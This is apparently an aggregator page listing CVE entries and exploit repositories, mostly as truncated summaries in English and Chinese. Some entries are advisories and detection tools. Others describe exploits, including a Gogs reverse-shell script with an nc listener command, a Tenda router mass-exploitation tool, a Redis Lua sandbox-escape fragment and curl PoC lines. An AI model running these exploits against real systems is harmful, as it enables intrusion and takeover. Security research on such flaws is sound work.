CVE-2026-71614

An issue in GPAC c2dee3aff638cd96f9617ac5b17dc2868cd90ef3 allows an attacker to execute arbitrary code via the src/mediatools/dvbmpe.c, descriptorTimeslicefecidentifier and gfm2tsipdatagramreader components. Fixed in 0e4093392e1f847c90d20e031e893cd942fef938...

CVE-2026-23744

CVE-2026-23744 Exploit to MCPJam Inspector Install libraries with: pip install -r requirements.txt - use python CVE-2026-23744 --help to info MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code...

CVE-2026-58073-check

Veeam Service Provider Console 代理模拟 — 补丁状态检测脚本 这是一个安全、无需认证的检测器，用于检测 KB4893 中描述的 Veeam Service Provider Console 漏洞（发布于 2026-08-04）。它针对每个目标只回答一个问题，且在任何认证或 TLS 之前：该控制台是否已应用 KB4893 修复？ 最核心的一对漏洞构成了一条攻击链。CVE-2026-58073 （CVSS 9.5）允许未认证的网络对等方模拟已连接的管理代理，并获得该代理的真实证书，因为代理握手是根据对等方写入其 自身 证书中的 GUID...

PunchingBag-for-React2Shell

🥊 PunchingBag - CVE-2025-55182 安全研究平台 ⚠️ 仅用于教育目的 ：这是一个故意存在漏洞的应用程序，设计用于授权的安全研究和CTF挑战。请勿在未经授权的系统上使用这些技术。 一个故意存在漏洞的 Next.js 15.1.6 应用程序，演示了 CVE-2025-55182（React2Shell） ——React Server Components 中的一个严重远程代码执行漏洞。专为安全研究员、渗透测试人员和学生在安全、隔离的环境中练习利用技术而构建。 📋 目录 关于 CVE-2025-55182 特性 前提条件...

tenda-hg10-rce

CVE-2026-1689 摘要 Tenda HG10 路由器存在命令注入漏洞。该漏洞出现在 formLogin 端点中，原因是 Host 参数处理不当。 由于该漏洞在身份验证检查之前执行，因此无需验证任何认证凭据。 来自 Host 头的用户输入未经验证便直接作为命令执行： root@kitploit: ifconfig br0 | grep 'inet6' | grep '' 使用方法 包含一个简单脚本（exploit.go），该脚本接受包含 IP:端口/URL 对的文件，用于批量利用。 发现 超过 10 万台设备处于活跃状态，其中超过 1.5 万台已经过测试并确认为易受攻击。...

CVE-2025-60787-Detection-motionEye-RCE-via-Config-Injection

README.md CVE-2025-60787 检测：motionEye 配置注入导致的远程代码执行 motionEye 静态图像 - 图像文件名 PoC 载荷示例： root@kitploit: $touch /tmp/test.%Y-%m-%d-%H-%M-%S 当 motion 重启时，Shell 命令将执行并创建 /tmp/test。 检测覆盖范围 YARA 检测 扫描 motionEye 配置目录： root@kitploit: yara -r rules/yara/motioneyercecve202560787.yar /etc/motioneye/ KQL...

CVE-2026-22003-Redis-Lua-Sandbox-Escape-via-debug.sethook-

CVE-2026-22003 – 通过 debug.sethook 的 Redis Lua 沙箱逃逸 程序代码（Lua + Python 触发器） root@kitploit: -- redissandbox.lua - Script that attempts sandbox escape local function escape debug.sethookfunction -- This hook runs in a privileged context os.execute"id /tmp/redisescape" end, "r" local a = 1 end return...

CVE-2024-44625-Gogs-RCE-0.13.0

CVE-2024-44625 与 Gogs-RCE-0.13.0 已针对反向代理后方的 0.13.0 时代 Gogs 进行验证。 利用原理：Web 编辑器符号链接跟随至一个不存在的 .git/hooks/pre-receive 文件， 从而创建该文件（可执行）。此后每次推送到该仓库都会执行它。 用法： 反向 Shell（先运行监听器：nc -lvnp 4444） root@kitploit: python3 gogsrceshell.py --url http://host --user admin1 --pass 'P@ss' \ --mode reverse --lhost...

CVE-2025-3248

技术分析与防御指南：CVE-2025-3248（Langflow 代码注入） 关于 CVE-2025-3248 的教育性参考与防御分析，这是一个影响 Langflow 的严重代码注入漏洞。 📌 漏洞概况 CVE ID： CVE-2025-3248 漏洞类型： 远程代码执行（RCE）/ 代码注入（CWE-94） 受影响软件： Langflow（版本 1.3.0） 影响严重性： 严重（未认证远程代码执行） 目标端点： /api/v1/validate/code 🔍 技术机制 Langflow 是一个用于构建多智能体与 RAG 应用的开源可视化框架。为了允许开发者编写自定义 Python...

CVE-2024-2961-XXE-Exploit

CVE-2024-2961 CNEXT XXE 通道适配利用脚本 将 Ambionics 官方 cnext-exploits 的 PHP 文件读取 - RCE 利用脚本，适配到 SVG 上传 + XXE 任意文件读取 场景（PolarisCTF 2026 "头像上传器" 一类题目）。 前置条件 目标：Linux + glibc 更新 avatarname - 请求解析接口回显。 2. 过滤器分隔符| - /：XML 实体 URL 中含 | 时 libxml 解析失败（实测 DOMDocument 返回空文档）；php://filter 支持不带前缀的裸过滤器按 / 分隔，等价于...

CVE-2024-53677-POC

CVE-2024-53677 一个老旧的漏洞，影响 Apache Struts，可导致 LFI 和远程执行。 关于该漏洞的更多信息，你可以参考这篇很棒的博客。 Apache Struts 路径遍历 → RCE CVE-2024-53677 POC 用法 我花了很多时间把这个 POC 做得尽可能可定制，因为当我第一次遇到这个 CVE 时，没有找到一个正确实现它的好来源。 大多数参数都有默认值，所以不要被这些参数吓到。 root@kitploit: git clone https://github.com/Cythonic1/CVE-2024-53677-POC cd...

CVE-2026-54694

SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. StringHighlighter.js builds an HTML string by interpolating raw value substrings...

CVE-2026-22679

CVE-2026-22679：泛微 E-cology 未授权 RCE（通过 dubboApi 调试端点） -critical 摘要 泛微 E-cology 10.0（20260312 构建版本之前）在 /papi/esearch/data/devops/dubboApi/debug/method 端点中存在一个严重的未授权远程代码执行漏洞。攻击者无需身份验证即可通过 interfaceName 和 methodName POST 参数注入任意命令，实现完全的系统接管。Shadowserver 基金会自 2026-03-31 起已检测到活跃利用。 快速风险提示： CVSS 9.3 -...

CVE-2026-73787

HPE CPPM (Campus Policy Manager) contains a vulnerability in its web interface that allows an authenticated remote attacker to access directory information on the system, which can escalate to arbitrary command execution on the underlying operating system via an arbitrary file write mechanism (as...

CVE-2026-73787 Authenticated Arbitrary File Write allows Remote Code Execution via CPPM Web Interface

A vulnerability in the CPPM web interface could allow an authenticated remote attacker to access directory information on a vulnerable system. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system...

EUVD-2026-75122

A vulnerability in the web-based management interface of vulnerable CPPM systems could allow an authenticated remote attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system...

CVE-2026-73769

CVE-2026-73769 affects the web-based management interface of HPE CPPM systems. An authenticated remote attacker with high-level privileges can achieve remote code execution , allowing arbitrary command execution on the underlying operating system. The CVSS 3.1 score is 7.2 (HIGH) with a vector of...

CVE-2026-73769 Authenticated Remote Code Execution in CPPM Web Interface

A vulnerability in the web-based management interface of vulnerable CPPM systems could allow an authenticated remote attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system...

CVE-2026-60004

CVE-2026-60004 — Gitea diffpatch RCE Gitea diffpatch 端点远程代码执行 PoC。拥有仓库写权限的账户开放注册实例上匿名注册即可即可在服务器上以 Gitea 服务账户 执行任意 shell 命令。 漏洞简述 POST /api/v1/repos/owner/repo/diffpatch 在共享的 bare 临时克隆仓库 中应用攻击者控制的补丁: root@kitploit: git apply --index --recount --cached --binary Git ≥ 2.32 时追加 -3 三路合并回退 攻击链:同一个补丁提交两...

CVE-2020-10199

CVE-2020-10199 之前在 PT 的時候，遇到了目標環境中有架設 Nexus Repository Manager，踩了一些坑最後還是拿到 Shell 了。 稍微做個紀錄，未來有用到就比較方便回顧。 目標版本: Sonatype Nexus Repository Manager OSS 3.20.1-01 拿 PoC 測試 Code Execution 確認漏洞存在. 注: 此時是登入 session 的, 因為剛好有發現到目標環境 default credential 問題 root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host...